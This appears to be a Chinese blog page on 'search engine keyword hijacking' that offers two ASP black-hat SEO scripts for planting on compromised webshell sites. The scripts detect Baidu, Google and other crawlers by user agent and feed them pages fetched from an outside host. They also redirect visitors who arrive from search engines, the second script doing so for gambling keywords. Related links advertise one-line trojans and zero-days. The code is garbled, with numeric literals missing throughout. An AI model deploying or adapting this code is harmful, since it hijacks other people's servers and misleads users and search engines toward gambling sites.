搜索引擎关键词劫持之asp篇
摘要:关键词劫持(黑帽seo)其实原理很简单:搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出判断...
黑帽SEO代码一:
<%
function GetBot()
'查询蜘蛛
dim s_agent
GetBot=""
s_agent=Request.ServerVariables("HTTP_USER_AGENT") '关键判断语句
if instr(,s_agent,"googlebot",) > then
GetBot="google"
end if
if instr(,s_agent,"msnbot",) > then
GetBot="MSN"
end if
if instr(,s_agent,"slurp",) > then
GetBot="Yahoo"
end if
if instr(,s_agent,"baiduspider",) > then
GetBot="baidu"
end if
if instr(,s_agent,"sohu-search",) > then
GetBot="Sohu"
end if
if instr(,s_agent,"lycos",) > then
GetBot="Lycos"
end if
if instr(,s_agent,"robozilla",) > then
GetBot="Robozilla"
end if
end function
Function getHTTPPage(Path)
t = GetBody(Path)
getHTTPPage=BytesToBstr(t,"GB2312")'编码
End function
Function Newstring(wstr,strng)
Newstring=Instr(lcase(wstr),lcase(strng))
if Newstring<= then Newstring=Len(wstr)
End Function
Function GetBody(url)
on error resume next
Set Retrieval = CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", url, False, "", ""
.Send
GetBody = .ResponseBody
End With
Set Retrieval = Nothing
End Function
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type =
objstream.Mode =
objstream.Open
objstream.Write body
objstream.Position =
objstream.Type =
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
Dim wstr,str,url,start,over,dtime
if GetBot="baidu" then
'给百度蜘蛛定制的内容
url="http://www.yunsec.net"
'想要展示给蜘蛛的页面地址
wstr=getHTTPPage(url)
body=wstr
response.write ""&body&""
response.end
elseif GetBot="google" then
'给google 蜘蛛定制的内容
url="http://www.yunsec.net"
wstr=getHTTPPage(url)
body=wstr
response.write ""&body&""
response.end
end if
if instr(Request.ServerVariables("http_referer"),"www.baidu.com")> then
'如果用户来自www.baidu.com
response.redirect("http://www.yunsec.net/")
'跳转指定地址
end if
%>
黑帽SEO二
<%
function hasKey()
dim urlrefer,i,searray
urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER"))
hasKey= false
if urlrefer="" then fromse= false
searray=array("%e7%9c%9f%e9%92%b1%e6%b8%b8%e6%88%8f","%e9%be%99%e8%99%8e%e6%96%97","%e7%9c%9f%e9%92%b1%e9%be%99%e8%99%8e%e6%96%97","%e8%b4%a2%e7%a5%9e%e5%8d%9a%e5%bd%a9%e7%bd%91","%e8%b4%a2%e7%a5%9e%e5%8d%9a%e5%bd%a9,%d5%e6%c7%ae%d3%ce%cf%b7","%d5%e6%c7%ae%c1%fa%bb%a2%b6%b7","%b2%c6%c9%f1%b2%a9%b2%ca%cd%f8","%b2%c6%c9%f1%b2%a9%b2%ca")
for i= to ubound(searray)
if (instr(urlrefer,searray(i))>) then hasKey=true
next
end function function fromse()
dim urlrefer,i,searray
urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER"))
fromse= false
if urlrefer="" then fromse= false
searray=array("google","baidu","sogou","yahoo","soso")
for i= to ubound(searray)
if (instr(urlrefer,searray(i))>) then fromse=true
next
end function function isspider()
dim agent,searray,i
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","baiduspider","sogou","yahoo","soso")
isspider= false
for i= to ubound(searray)
if (instr(agent,searray(i))>) then isspider=true
next
end function function gethttp(url)
dim http
set http=createobject("MSXML2.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<> then
exit function
end if
gethttp=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<> then err.Clear
end function function bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = ""
For i = To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,))
If ThisCharCode < &H80 Then
strReturnstrReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+,))
strReturnstrReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
ii = i +
End If
Next
bytes2BSTR = strReturn
End function if(fromse() and hasKey()) then
Response.Redirect ("http://www.yunsec.net")
end if if(isspider()) then
dim myfso,fileurl,filecon,myfile,remotehtml,bodyurl
bodyurl="http://www.yunsec.net/hack.htm"
response.clear
remotehtml=gethttp(bodyurl)
response.write(remotehtml)
response.write("<!--"&now()&"-->")
response.flush
end if %>
搜索引擎关键词劫持之asp篇的更多相关文章
- 搜索引擎关键词劫持之php篇(源码与分析)
摘要:其实原理很简单: 搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出如下判断: if(来访者是蜘蛛){ 输出 ...
- 搜索引擎关键词劫持之.net篇
摘要:蛋疼写的,有需要的就拿去,注意要保存为Global.asax. 重要说明:为避免编码问题,请在劫持页面(data_url)指向页面加入meta标记来指明编码,如 meta content=tex ...
- python截取搜索引擎关键词
这段代码是自己学了python的基本语法之后,参考一个网上视频写的代码,功能是截取搜索引擎360的关键词. 代码: #!/usr/bin/python #encoding:utf-8 import u ...
- PHP获取搜索引擎关键词
有时候我们需要知道用户通过哪个搜索引擎,通过拿个关键词访问我们页面,当然js也可以实现,这里介绍下php的实现代码,包含(百度.谷歌.雅虎.搜狗.搜搜.必应.有道)几大搜索引擎的获取方法. //获取来 ...
- 一句话木马:ASP篇
ASP一句话木马收集: <%eval request("chopper")%> <%execute request("chopper")%&g ...
- 【渗透课程】特别篇-主流网站程序Oday大全以及拿shell思路
版权和内容说明: 这篇文章不是本站编写,是从网络上摘抄的,但是经过了本站的改写优化,并将内容,格式规范化. 本篇说明:这篇文章结合了前辈们前几年一路挖掘出来的主流程序漏洞以及思路, 小编写在前面是想让 ...
- Python网络爬虫入门篇
1. 预备知识 学习者需要预先掌握Python的数字类型.字符串类型.分支.循环.函数.列表类型.字典类型.文件和第三方库使用等概念和编程方法. 2. Python爬虫基本流程 a. 发送请求 使用 ...
- [转]ASP.NET数据库连接字符串总结
这个不难,而且很重要,但总忘,找了篇比较全的,作为资料. 原文链接http://developer.51cto.com/art/201107/275406.htm 关于数据库链接字符串的相关知识,我们 ...
- Google搜索排名优化-面向搜索引擎的网站设计
内容摘要:网站在搜索营销方面最主要的缺点: 行业知识:不知道搜索引擎对吸引的新用户的重要性,在搜索引擎排名服务中追求“傻瓜相关”,购买一些其实没有太多实际意义的行业关键词.其实能够用户输入的关键词越多 ...
随机推荐
- NSoperation用法详解及与GCD的比较
NSInvocationOperation // 基于一个对象和selector来创建操作.如果你已经有现有的方法来执行需要的任务,就可以使用这个类 NSInvocationOperation * o ...
- Android打开相机和打开相册
打开相机 /** * 选择相机 */ private void showCamera() { // 跳转到系统照相机 Intent cameraIntent = new Intent(MediaSto ...
- iOS--归档和解档(Archiver)、(UnArchiver)
一.已有类型的归档和解档 首先来看一个简单的例子: //第一方式:归档对象 //对象-->文件 NSArray *array = [NSArray arrayWithObjects:@" ...
- zend studio 8 修字体和大小
第一步:进入设置窗口 windows -> preferences 第二步:进入修改字体的选项卡. General -> Appearance -> Colors and ...
- DB2导入导出编目配置
可使用db2cfexp和db2cfimp导出导入DB2数据库编码信息.这对于编目信息从一台机器复制到另一台机器时十分有用. 命令详细信息: db2cfexp db2cfexp exports conf ...
- Linux- Nginx简单的负载均衡(一)
这里先进行简单的nginx负载,安装nginx这里就不多说了,我们情景假设在已经安装好了nginx上: 1)查询nginx中的upstrea负载均衡模块 默认是有安装的.进入nginx源码目录中 . ...
- webpack入门和实战(一):webpack配置及技巧
一.全面理解webpack 1.什么是 webpack? webpack是近期最火的一款模块加载器兼打包工具,它能把各种资源,例如JS(含JSX).coffee.样式(含less/sass).图片等都 ...
- C# 得到sqlserver 数据库存储过程,触发器,视图,函数 的定义
经常从 生产环境 到测试环境, 需要重新弄一整套的数据库环境, 除了表结构以及表结构数据,可以用动软代码生成器 生成之外, 像 存储过程,触发器,等,好像没有批量操作的,意义哥哥农比较麻烦, 所以最近 ...
- ksvcreate: Process(m000) creation failed
一测试服务器数据库(Oracle Database 10g Release 10.2.0.5.0 - 64bit Production)突然访问不了,检查发现数据库处于挂起模式(hang mode), ...
- android中BuildConfig.DEBUG的使用
ADT(r17)中添加了一个新功能可以允许开发者只在Debug模式下允许某些代码.Build系统生成一个名称为BuildConfig的类,该类包含一个DEBUG 常量,该常量会根据您的Build类型自 ...